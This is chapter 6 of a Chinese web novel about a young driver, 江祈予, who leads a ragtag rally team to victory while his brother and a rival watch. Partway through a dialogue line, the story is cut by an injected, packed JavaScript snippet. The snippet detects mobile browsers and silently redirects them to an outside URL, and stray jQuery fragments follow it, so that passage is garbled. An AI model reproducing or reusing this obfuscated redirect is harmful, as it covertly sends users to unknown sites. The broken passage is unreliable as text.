6. 第六章

作品:《你到底有几个好哥哥

    江祈予拍了拍手掌,对着车队所有人说:“这一次我的目标是冠军。”


    他就这样率性而轻易地说出了一般人都非常难以做到的事情。


    车队成员大都是名不经传的小角色,要不然也不会来这样一个草台班子的车队了。真正有实力的人早就被有名的大车队给招募到了俱乐部中,怎么可能还会留在这里。


    他们朝他看过去,却愣住。


    江祈予的眼睛睁圆时,就像是邻家弟弟一样可爱,好看的面容带着笑意时,就是男人跟他讲话时也会柔和几分。


    可当他眉压着眼时,双眸竟然像是凛冽的寒风,漆黑的眼瞳绽放着名为野心的烈焰。


    大家意识到了,江祈予这句话并不是在开玩笑,他是在通知他们。


    江祈予歪着脑袋,理所当然地说:“玩赛车不就是追求速度与刺激,拼尽全力都要拿到第一吗?如果不是为了这个的话,在其他行业应该会比现在安逸得多吧。”


    只是想要安稳度日,平庸生活的话,以他们的技术,去当驾校的教练、有钱人家的司机也会比赛车手好很多吧,但是他们为什么还要一而再再而三地加入车队呢。


    有人萌生退意,有人却被他这句话震得心神一晃。


    胜利与荣耀的渴望当前,热血未凉的年轻人轻易被三言两语刺激到。


    一双双明亮的眼睛相互注视,胆怯都淡了许多,让当前火热的氛围推搡着——


    “干了!拼一把!”


    *


    江祈予这几天要练车,跟自己的领航员磨合,顺带拉一把车队内对弯道超车这种技术并不娴熟的队员。


    这并不算累,还比不上打起精神应付他哥江旭望的时候,那才是最痛苦的,江祈予要为此付出更多的脑细胞。


    多数时候他们是各自安静地用餐,接着再体面地互相道别离开。


    但也有例外的时候——


    “你最近在干什么?”


    正擦着嘴,马上就从座椅上起身准备走人的江祈予:“……”


    他眨巴眨巴自己乌亮的眼睛,有种在背地里偷摸干坏事被家长拷问的错觉。


    心跳不受控制地加速,他竭力控制着自己脸上的神情,希望自己不要出现任何生理上的变化,免得让他大哥看出端倪来。


    大哥江旭望的压迫感太强烈了,哪怕是在面对他爸的时候,江祈予压力都没这样大过。


    众所周知,太长时间的犹豫就会引来更大的怀疑和步步紧逼的盘问。


    江祈予脑子快速地运转着,嘴比脑子更快:“学、呃,练口语。”


    “我将来打算出国。”


    这本来也是在他计划上的一环,并不算是敷衍欺骗他哥。


    江旭望听见这个答案确实惊讶了一瞬,不过面色又平静下来,点点头:“你有自己的人生规划了,很不错。”


    这种鼓励式的大家长发言在江旭望这还是很少见的,江祈予受宠若惊,把脸上忍不住露出来的笑容给强压下去。


    “谢谢哥,我一定会好好努力的。”


    语气里的明媚阳光和兴奋都快满溢出来,江旭望眼眸微动,最后摆手让他离开。


    在江祈予一蹦一跳地走后,江旭望找来了自己的助理。


    “去查一下,江祈予他最近在做什么。”


    “好的,江总。”


    *


    濒临比赛,江祈予的心情很平静。


    戴着黑手套的仇谦刚干完大工程,坐在江祈予旁边同他谈天说地:“欸,别怪我说话难听啊。说真的,你真觉得这些‘乌合之众’能拿到比赛的胜利吗?”


    仇谦这人吧,长了一张娃娃脸,唇红齿白看着老实乖巧,最大的缺点就是嘴毒。


    损是损了点,可就是一针见血啊。


    而且他这人鸡贼,不会跑到别人面前去讲,知道江祈予不可能把谈话露出去,也只在他面前说。


    江祈予蹲在地上,一只手托着下巴,另外一只手懒懒地搭在膝盖上。


    他有气无力地说:“这你就不懂了吧,希望是可以创造奇迹的。而且不是还有我在吗,你不信任他们,总要信任我吧。”


    最差不就是拿个第二名么,总要吊根萝卜画个饼在前面,才能让人家奋力拼一把吧。


    仇谦没话说了,他在江祈予离开前,犹豫道:“那……你加油?”


    江祈予一改刚才的绵软无力,又恢复了以往的元气,喂了声:“有你这样给别人加油打气的吗?”


    仇谦翻了个大白眼:“行了行了,加油加油,你最棒,你们队绝对可以取胜。这样总可以了吧?”


    车队几个年轻小伙子走过来,听见仇谦的大声喊话,也笑笑闹闹打成一团:“仇大工程师都这么看好我们,那我们借他吉言,最后肯定能赢。”


    “对,绝对能拿第一。”


    大言不惭的车队成员到了赛事现场,立马安静如鸡,再也没有前几天私底下大放厥词的阔气与豪迈。


    国际赛车备受瞩目,围栏的观众席上坐满了人,大家高高举起手机和应援牌。转播的大荧幕上面选手们的面庞一身而过,几万人的鼎沸声音如同汹涌澎湃的海浪,下一秒就能掀翻现场。


    江祈予很平静地热身,然后跟着领航员一起坐进了赛车里。


    其他人看他这样冷静,心情也不自觉地平静下去,好像没有之前那么紧张了。


    观众席上的所有人都在注视着他们,甚至连酒吧的大屏幕上也有播放。


    “况哥,况哥,你看!那人不是江祈予吗!”


    观众席上的青年本来还在无所事事地刷着手机,被人这么一推,眉头皱得都能夹死一只苍蝇了。


    他本来就有一张犀利的面庞,剑眉星目中带着桀骜不驯的脾性,下巴贴在黑色冲锋衣的领口,眉毛竖起来时危险得让人心惊胆战。


    他周围一圈的人都不自觉地噤声,安静得让人投来诧异的眼神。


    况边叙听见熟悉的名字后,眉头微松,视线下意识在那些豪华炫酷的赛车上巡视:“哪呢?”


    “后面、后面啊,我亲眼看见他上的贴着雪人外形的车。”


    其实赛车手们基本上都带着头盔,穿紧身赛车服,亲爹来了都不一定能认得出。


    但江祈予跟况边叙不对付,他们这些当狗腿子的当然也得紧随其后,哪怕江祈予化成灰他们都认识!


    况边叙黑沉沉的眼眸紧紧盯着后面那辆赛车,眸光沉郁,瞧不出他究竟在想什么。


    一旁的狐朋狗友还在继续讨论。


    “看来江家那件事情是真的,他江祈予现在混得这么惨了,竟然还要亲自下场给企业车队打广告赚钱。”


    “他这人怎么弯得下身段的,哈,还挺


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893498|159988||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    厉害。”


    此时不落井下石,更待何时呢。


    久不做声的况边叙却突然开口:“不一定,在江家还没有透露出任何消息之前,一切都不能成为定论。”


    这群刚才还讨论得正欢的富二代们在他开口之后立马安静如鸡,没有再像刚才那样大肆贬低江祈予了。


    他们甚至还煞有其事地点头:“也是,好歹跟况哥你对上这么多年,怎么可能那样轻易就被打倒呢。”


    他们自顾自地给况边叙为江祈予说话的行为找了个理由开脱。


    况边叙的微拧的眉眼也随之微松,他确实是这样的想法。


    比赛很快开始。


    赛车发动的轰鸣声震彻天际,一辆辆车子如离弦的箭般飞地冲出去,眨眼间就消失在现场。


    江祈予对每个弯道都心里有数,领航员刚开口他下一秒就能做出反应。年轻鲜活的肉|体将肌肉记忆诠释得无比美妙,就算是使用不怎么精妙的赛车也能做到顶尖极致的操作。


    弯道的飘逸,直道的冲刺,甚至在车尾都滑出了绚烂刺目的火花。


    赛车的激情与速度让现场的观众们尖叫欢呼,热血的澎湃带动他们发自内心地呼喊。


    明明操作的是赛车车手,可是他们却感受到了血液在体内流动的灼热感,野性被刺激出来。


    歇斯底里的叫声比千军万马奔腾而过还要吓人。


    江祈予开的那辆赛车甚至稳稳占据第一的位置,死死超出第二名十米的距离。


    双S线的赛道口,以170千米每小时的惊人速度飞驰而过,车速快到了惊骇恐怖的地步,火花滋滋地擦着地平线,甩出后面的车二十米。


    领航员抓着安全带,心都快要跳出嗓子眼了。观众们却全在热烈喝彩惊呼,场中爆发出剧烈的掌声,气势相当磅礴。


    坐况边叙一圈的那群富二代也化身哈士奇嗷呜嗷呜地叫个不停,还有从板凳上跳起来捏拳喊“nice”“牛逼”的。


    况边叙扫过去后,众人才发觉自己刚才干出了什么蠢事,全都悻悻地老实坐好坐正,搓着手小声逼逼:“其实也就那样。”


    他们给自己找补的话苍白又无力,在下一次江祈予冲刺时这些人又跳出来后,显得是那么地没有说服力。


    江祈予更是在最后顺利拿下了第一。


    他下完车之后,头盔一摘,黑色短发划出漂亮的弧度,汗水从颊边淌过,湿漉漉的发丝黏在雪白的脸庞。


    大屏幕的画面切到第一位冲刺的车手脸上,无数观众没想到刚才使用凶残无比技术操纵赛车的竟然是这样一位年轻人。


    他给人的反差感实在是太大了。


    好些观众唏嘘,他们还以为走下来的会是一位刚勇坚毅,身材格外伟岸健壮的青年。没想到会是女生喜欢的奶狗般的少年崽子。


    硬要说的话,走出来的车手更像是住在城堡里的小王子,有着鲜花般美丽的面庞,被宝石与花儿簇拥着。他甚至狗狗眼有种纯良乖巧的感觉,长长的睫毛抖着,泄出几缕眼中的明丽亮光。


    刚才的技术却给人一种凶狠粗暴的感觉,仿佛是大草原上野性的狼在竭尽全力追逐猎物,不是你死就是我活。


    但无疑的是,他的相貌并未给他减分,反而让不少人都被他吸引过去,发出惊叹的感慨。


    ——他即是赛车场上的国王。